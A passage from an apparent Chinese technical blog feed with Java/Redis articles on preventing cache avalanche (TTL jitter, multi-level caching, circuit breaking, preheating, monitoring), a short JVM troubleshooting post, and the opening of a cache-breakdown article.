JSON.toJSONString(product), ttl, TimeUnit.SECONDS);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> product;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-按业务维度设置不同过期时间"><a href="#2-2-按业务维度设置不同过期时间" class="headerlink" title="2.2 按业务维度设置不同过期时间"></a>2.2 按业务维度设置不同过期时间</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 不同业务使用不同的过期时间</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Map&lt;String, Integer&gt; TTL_CONFIG = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">static</span> &#123;</span><br><span class="line">        TTL_CONFIG.put(<span class="string">&quot;user&quot;</span>, <span class="number">7200</span>);      <span class="comment">// 用户数据2小时</span></span><br><span class="line">        TTL_CONFIG.put(<span class="string">&quot;product&quot;</span>, <span class="number">3600</span>);   <span class="comment">// 商品数据1小时</span></span><br><span class="line">        TTL_CONFIG.put(<span class="string">&quot;config&quot;</span>, <span class="number">86400</span>);   <span class="comment">// 配置数据24小时</span></span><br><span class="line">        TTL_CONFIG.put(<span class="string">&quot;session&quot;</span>, <span class="number">1800</span>);   <span class="comment">// Session 30分钟</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setWithBusinessTtl</span><span class="params">(String business, String key, Object value)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">baseTtl</span> <span class="operator">=</span> TTL_CONFIG.getOrDefault(business, <span class="number">3600</span>);</span><br><span class="line">        <span class="type">int</span> <span class="variable">randomOffset</span> <span class="operator">=</span> ThreadLocalRandom.current().nextInt(<span class="number">300</span>);</span><br><span class="line">        redis.opsForValue().set(key, JSON.toJSONString(value), </span><br><span class="line">            baseTtl + randomOffset, TimeUnit.SECONDS);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-定时刷新避免集中过期"><a href="#2-3-定时刷新避免集中过期" class="headerlink" title="2.3 定时刷新避免集中过期"></a>2.3 定时刷新避免集中过期</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheRefreshScheduler</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ProductMapper productMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 每隔一段时间刷新一批即将过期的key</span></span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 300000)</span>  <span class="comment">// 每5分钟</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">refreshExpiringKeys</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 扫描即将过期的key（通过额外记录过期时间）</span></span><br><span class="line">        Set&lt;String&gt; expiringKeys = findExpiringKeys(<span class="number">600</span>);  <span class="comment">// 10分钟内过期</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (String key : expiringKeys) &#123;</span><br><span class="line">            <span class="type">Long</span> <span class="variable">id</span> <span class="operator">=</span> extractId(key);</span><br><span class="line">            <span class="type">Product</span> <span class="variable">product</span> <span class="operator">=</span> productMapper.findById(id);</span><br><span class="line">            <span class="keyword">if</span> (product != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="type">int</span> <span class="variable">ttl</span> <span class="operator">=</span> <span class="number">3600</span> + ThreadLocalRandom.current().nextInt(<span class="number">300</span>);</span><br><span class="line">                redis.opsForValue().set(key, JSON.toJSONString(product), ttl, TimeUnit.SECONDS);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、多级缓存"><a href="#三、多级缓存" class="headerlink" title="三、多级缓存"></a>三、多级缓存</h2><p>#</p><h2 id="3-1-本地缓存-Redis-数据库"><a href="#3-1-本地缓存-Redis-数据库" class="headerlink" title="3.1 本地缓存 + Redis + 数据库"></a>3.1 本地缓存 + Redis + 数据库</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MultiLevelCache</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// L1: 本地缓存（Caffeine）</span></span><br><span class="line">    <span class="keyword">private</span> Cache&lt;String, Object&gt; localCache = Caffeine.newBuilder()</span><br><span class="line">        .maximumSize(<span class="number">10000</span>)</span><br><span class="line">        .expireAfterWrite(<span class="number">30</span>, TimeUnit.SECONDS)</span><br><span class="line">        .build();</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;  <span class="comment">// L2: Redis</span></span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ProductMapper productMapper;  <span class="comment">// L3: Database</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Product <span class="title function_">getProduct</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;product:&quot;</span> + id;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// L1: 本地缓存</span></span><br><span class="line">        <span class="type">Product</span> <span class="variable">product</span> <span class="operator">=</span> (Product) localCache.getIfPresent(key);</span><br><span class="line">        <span class="keyword">if</span> (product != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> product;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// L2: Redis</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> redis.opsForValue().get(key);</span><br><span class="line">        <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">            product = JSON.parseObject(json, Product.class);</span><br><span class="line">            localCache.put(key, product);</span><br><span class="line">            <span class="keyword">return</span> product;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// L3: 数据库</span></span><br><span class="line">        product = productMapper.findById(id);</span><br><span class="line">        <span class="keyword">if</span> (product != <span class="literal">null</span>) &#123;</span><br><span class="line">            redis.opsForValue().set(key, JSON.toJSONString(product), <span class="number">3600</span>, TimeUnit.SECONDS);</span><br><span class="line">            localCache.put(key, product);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> product;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-缓存更新策略"><a href="#3-2-缓存更新策略" class="headerlink" title="3.2 缓存更新策略"></a>3.2 缓存更新策略</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheUpdateService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> Cache&lt;String, Object&gt; localCache;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 更新数据时同步更新多级缓存</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateProduct</span><span class="params">(Product product)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;product:&quot;</span> + product.getId();</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 1. 更新数据库</span></span><br><span class="line">        productMapper.update(product);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 更新Redis</span></span><br><span class="line">        redis.opsForValue().set(key, JSON.toJSONString(product), <span class="number">3600</span>, TimeUnit.SECONDS);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. 删除本地缓存（或更新）</span></span><br><span class="line">        localCache.invalidate(key);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 4. 发送消息通知其他节点删除本地缓存（分布式环境）</span></span><br><span class="line">        redis.convertAndSend(<span class="string">&quot;cache:invalidate&quot;</span>, key);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 监听缓存失效消息</span></span><br><span class="line">    <span class="meta">@RedisListener(channel = &quot;cache:invalidate&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onInvalidate</span><span class="params">(String key)</span> &#123;</span><br><span class="line">        localCache.invalidate(key);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、熔断降级"><a href="#四、熔断降级" class="headerlink" title="四、熔断降级"></a>四、熔断降级</h2><p>#</p><h2 id="4-1-Sentinel熔断"><a href="#4-1-Sentinel熔断" class="headerlink" title="4.1 Sentinel熔断"></a>4.1 Sentinel熔断</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ProductService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@SentinelResource(</span></span><br><span class="line"><span class="meta">        value = &quot;getProduct&quot;,</span></span><br><span class="line"><span class="meta">        fallback = &quot;getProductFallback&quot;,</span></span><br><span class="line"><span class="meta">        blockHandler = &quot;getProductBlockHandler&quot;</span></span><br><span class="line"><span class="meta">    )</span></span><br><span class="line">    <span class="keyword">public</span> Product <span class="title function_">getProduct</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="comment">// 查询逻辑</span></span><br><span class="line">        <span class="keyword">return</span> productCache.get(id);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 熔断降级方法</span></span><br><span class="line">    <span class="keyword">public</span> Product <span class="title function_">getProductFallback</span><span class="params">(Long id, Throwable ex)</span> &#123;</span><br><span class="line">        <span class="comment">// 返回兜底数据（如静态数据、默认值）</span></span><br><span class="line">        <span class="keyword">return</span> getDefaultProduct(id);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 限流处理方法</span></span><br><span class="line">    <span class="keyword">public</span> Product <span class="title function_">getProductBlockHandler</span><span class="params">(Long id, BlockException ex)</span> &#123;</span><br><span class="line">        <span class="comment">// 返回缓存数据或默认值</span></span><br><span class="line">        <span class="keyword">return</span> getCacheProduct(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-Hystrix熔断"><a href="#4-2-Hystrix熔断" class="headerlink" title="4.2 Hystrix熔断"></a>4.2 Hystrix熔断</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ProductService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@HystrixCommand(</span></span><br><span class="line"><span class="meta">        fallbackMethod = &quot;getProductFallback&quot;,</span></span><br><span class="line"><span class="meta">        commandProperties = &#123;</span></span><br><span class="line"><span class="meta">            @HystrixProperty(name = &quot;circuitBreaker.requestVolumeThreshold&quot;, value = &quot;20&quot;),</span></span><br><span class="line"><span class="meta">            @HystrixProperty(name = &quot;circuitBreaker.sleepWindowInMilliseconds&quot;, value = &quot;5000&quot;),</span></span><br><span class="line"><span class="meta">            @HystrixProperty(name = &quot;circuitBreaker.errorThresholdPercentage&quot;, value = &quot;50&quot;)</span></span><br><span class="line"><span class="meta">        &#125;</span></span><br><span class="line"><span class="meta">    )</span></span><br><span class="line">    <span class="keyword">public</span> Product <span class="title function_">getProduct</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> productCache.get(id);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Product <span class="title function_">getProductFallback</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> getDefaultProduct(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、高可用架构"><a href="#五、高可用架构" class="headerlink" title="五、高可用架构"></a>五、高可用架构</h2><p>#</p><h2 id="5-1-Redis高可用"><a href="#5-1-Redis高可用" class="headerlink" title="5.1 Redis高可用"></a>5.1 Redis高可用</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Redis Sentinel架构：</span><br><span class="line"></span><br><span class="line">    ┌─────────┐</span><br><span class="line">    │Sentinel │</span><br><span class="line">    └────┬────┘</span><br><span class="line">         │</span><br><span class="line">    ┌────┴────┐</span><br><span class="line">    ▼         ▼</span><br><span class="line">┌─────────┐ ┌─────────┐</span><br><span class="line">│  Master │ │  Slave  │</span><br><span class="line">└─────────┘ └─────────┘</span><br><span class="line"></span><br><span class="line">Redis Cluster架构：</span><br><span class="line"></span><br><span class="line">┌─────────┐  ┌─────────┐  ┌─────────┐</span><br><span class="line">│ Master0 │  │ Master1 │  │ Master2 │</span><br><span class="line">│Slave0   │  │Slave1   │  │Slave2   │</span><br><span class="line">└─────────┘  └─────────┘  └─────────┘</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-数据库连接池保护"><a href="#5-2-数据库连接池保护" class="headerlink" title="5.2 数据库连接池保护"></a>5.2 数据库连接池保护</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># HikariCP配置</span></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">hikari:</span></span><br><span class="line">      <span class="attr">maximum-pool-size:</span> <span class="number">50</span>       <span class="comment"># 最大连接数</span></span><br><span class="line">      <span class="attr">minimum-idle:</span> <span class="number">10</span>            <span class="comment"># 最小空闲连接</span></span><br><span class="line">      <span class="attr">connection-timeout:</span> <span class="number">3000</span>    <span class="comment"># 连接超时3秒</span></span><br><span class="line">      <span class="attr">max-lifetime:</span> <span class="number">1800000</span>       <span class="comment"># 最大生命周期</span></span><br><span class="line">      <span class="attr">leak-detection-threshold:</span> <span class="number">60000</span>  <span class="comment"># 泄漏检测</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-数据库读写分离"><a href="#5-3-数据库读写分离" class="headerlink" title="5.3 数据库读写分离"></a>5.3 数据库读写分离</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataSourceConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> DataSource <span class="title function_">routingDataSource</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">DynamicRoutingDataSource</span> <span class="variable">routingDataSource</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DynamicRoutingDataSource</span>();</span><br><span class="line">        </span><br><span class="line">        Map&lt;Object, Object&gt; targetDataSources = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        targetDataSources.put(<span class="string">&quot;master&quot;</span>, masterDataSource());</span><br><span class="line">        targetDataSources.put(<span class="string">&quot;slave&quot;</span>, slaveDataSource());</span><br><span class="line">        </span><br><span class="line">        routingDataSource.setTargetDataSources(targetDataSources);</span><br><span class="line">        routingDataSource.setDefaultTargetDataSource(masterDataSource());</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> routingDataSource;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="六、预热机制"><a href="#六、预热机制" class="headerlink" title="六、预热机制"></a>六、预热机制</h2><p>#</p><h2 id="6-1-系统启动预热"><a href="#6-1-系统启动预热" class="headerlink" title="6.1 系统启动预热"></a>6.1 系统启动预热</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CachePreheatRunner</span> <span class="keyword">implements</span> <span class="title class_">ApplicationRunner</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ProductMapper productMapper;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">(ApplicationArguments args)</span> &#123;</span><br><span class="line">        <span class="comment">// 启动时预热热点数据</span></span><br><span class="line">        List&lt;Long&gt; hotProductIds = Arrays.asList(<span class="number">1L</span>, <span class="number">2L</span>, <span class="number">3L</span>, <span class="number">4L</span>, <span class="number">5L</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (Long id : hotProductIds) &#123;</span><br><span class="line">            <span class="type">Product</span> <span class="variable">product</span> <span class="operator">=</span> productMapper.findById(id);</span><br><span class="line">            <span class="keyword">if</span> (product != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="type">int</span> <span class="variable">ttl</span> <span class="operator">=</span> <span class="number">3600</span> + ThreadLocalRandom.current().nextInt(<span class="number">300</span>);</span><br><span class="line">                redis.opsForValue().set(<span class="string">&quot;product:&quot;</span> + id, </span><br><span class="line">                    JSON.toJSONString(product), ttl, TimeUnit.SECONDS);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        System.out.println(<span class="string">&quot;Cache preheat completed&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-定时预热"><a href="#6-2-定时预热" class="headerlink" title="6.2 定时预热"></a>6.2 定时预热</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ScheduledPreheat</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ProductMapper productMapper;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 每天凌晨预热</span></span><br><span class="line">    <span class="meta">@Scheduled(cron = &quot;0 0 3 * * ?&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">dailyPreheat</span><span class="params">()</span> &#123;</span><br><span class="line">        List&lt;Product&gt; hotProducts = productMapper.findHotProducts(<span class="number">100</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (Product product : hotProducts) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">ttl</span> <span class="operator">=</span> <span class="number">7200</span> + ThreadLocalRandom.current().nextInt(<span class="number">600</span>);</span><br><span class="line">            redis.opsForValue().set(<span class="string">&quot;product:&quot;</span> + product.getId(), </span><br><span class="line">                JSON.toJSONString(product), ttl, TimeUnit.SECONDS);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="七、监控告警"><a href="#七、监控告警" class="headerlink" title="七、监控告警"></a>七、监控告警</h2><p>#</p><h2 id="7-1-Redis监控"><a href="#7-1-Redis监控" class="headerlink" title="7.1 Redis监控"></a>7.1 Redis监控</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 监控缓存命中率</span></span><br><span class="line">redis-cli INFO stats | grep keyspace</span><br><span class="line"></span><br><span class="line"><span class="comment"># 监控连接数</span></span><br><span class="line">redis-cli INFO clients | grep connected_clients</span><br><span class="line"></span><br><span class="line"><span class="comment"># 监控内存使用</span></span><br><span class="line">redis-cli INFO memory | grep used_memory_human</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-应用监控"><a href="#7-2-应用监控" class="headerlink" title="7.2 应用监控"></a>7.2 应用监控</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheMonitor</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> MeterRegistry meterRegistry;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">recordCacheMiss</span><span class="params">(String cacheName)</span> &#123;</span><br><span class="line">        meterRegistry.counter(<span class="string">&quot;cache.miss&quot;</span>, <span class="string">&quot;name&quot;</span>, cacheName).increment();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">recordCacheHit</span><span class="params">(String cacheName)</span> &#123;</span><br><span class="line">        meterRegistry.counter(<span class="string">&quot;cache.hit&quot;</span>, <span class="string">&quot;name&quot;</span>, cacheName).increment();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">recordDbQuery</span><span class="params">(String queryName)</span> &#123;</span><br><span class="line">        meterRegistry.counter(<span class="string">&quot;db.query&quot;</span>, <span class="string">&quot;name&quot;</span>, queryName).increment();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-告警规则"><a href="#7-3-告警规则" class="headerlink" title="7.3 告警规则"></a>7.3 告警规则</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Prometheus告警规则</span></span><br><span class="line"><span class="attr">groups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">cache</span></span><br><span class="line">    <span class="attr">rules:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">CacheHitRateLow</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">rate(cache_miss[5m])</span> <span class="string">/</span> <span class="string">(rate(cache_hit[5m])</span> <span class="string">+</span> <span class="string">rate(cache_miss[5m]))</span> <span class="string">&gt;</span> <span class="number">0.5</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">5m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">warning</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;缓存命中率低于50%&quot;</span></span><br><span class="line">          </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">DatabaseQuerySpike</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">rate(db_query[1m])</span> <span class="string">&gt;</span> <span class="number">10000</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">1m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">critical</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;数据库查询量激增&quot;</span></span><br></pre></td></tr></table></figure><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><table><thead><tr><th>方案</th><th>作用</th><th>实施成本</th></tr></thead><tbody><tr><td>过期时间打散</td><td>避免同时失效</td><td>低</td></tr><tr><td>多级缓存</td><td>增加缓存层次</td><td>中</td></tr><tr><td>熔断降级</td><td>保护数据库</td><td>中</td></tr><tr><td>高可用架构</td><td>Redis不宕机</td><td>高</td></tr><tr><td>预热机制</td><td>提前加载数据</td><td>低</td></tr><tr><td>监控告警</td><td>及时发现问题</td><td>低</td></tr></tbody></table><p>缓存雪崩防御策略：</p><ol><li><p><strong>预防层</strong>：</p><ul><li>过期时间打散</li><li>定时预热</li><li>多级缓存</li></ul></li><li><p><strong>保护层</strong>：</p><ul><li>熔断降级</li><li>限流</li><li>数据库连接池保护</li></ul></li><li><p><strong>恢复层</strong>：</p><ul><li>高可用架构</li><li>快速重启</li><li>监控告警</li></ul></li></ol><p>核心原则：</p><ul><li>不要让大量key同时过期</li><li>建立多级缓存防线</li><li>异常情况保护数据库</li><li>持续监控及时响应</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ClassLoader 双亲委派模型实践理解</title>
      <link href="//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/"/>
      <url>//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="ClassLoader-双亲委派模型实践理解"><a href="#ClassLoader-双亲委派模型实践理解" class="headerlink" title="ClassLoader 双亲委派模型实践理解"></a>ClassLoader 双亲委派模型实践理解</h1><p>双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis缓存击穿与热点Key</title>
      <link href="//redis-cache-breakdown-hotkey/"/>
      <url>//redis-cache-breakdown-hotkey/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis缓存击穿与热点Key"><a href="#Redis缓存击穿与热点Key" class="headerlink" title="Redis缓存击穿与热点Key"></a>Redis缓存击穿与热点Key</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、缓存击穿"><a href="#一、缓存击穿" class="headerlink" title="一、缓存击穿"></a>一、缓存击穿</h2><p>#</p><h2 id="1-1-什么是缓存击穿"><a href="#1-1-什么是缓存击穿" class="headerlink" title="1.1 什么是缓存击穿"></a>1.1 什么是缓存击穿</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">场景：某个热点key过期瞬间</span><br><span class="line"></span><br><span class="line">时间点T0：</span><br><span class="line">  缓存：key = value (即将过期)</span><br><span class="line">  数据库：key = value</span><br><span class="line"></span><br><span class="line">时间点T1（key过期）：</span><br><span class="line">  请求1 → 缓存未命中 → 查数据库</span><br><span class="line">  请求2 → 缓存未命中 → 查数据库</span><br><span class="line">  请求3 → 缓存未命中 → 查数据库</span><br><span class="line">  ...（大量并发请求同时打到数据库）</span><br><span class="line">  </span><br><span class="line">  数据库压力瞬间剧增！</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-与缓存穿透的区别"><a 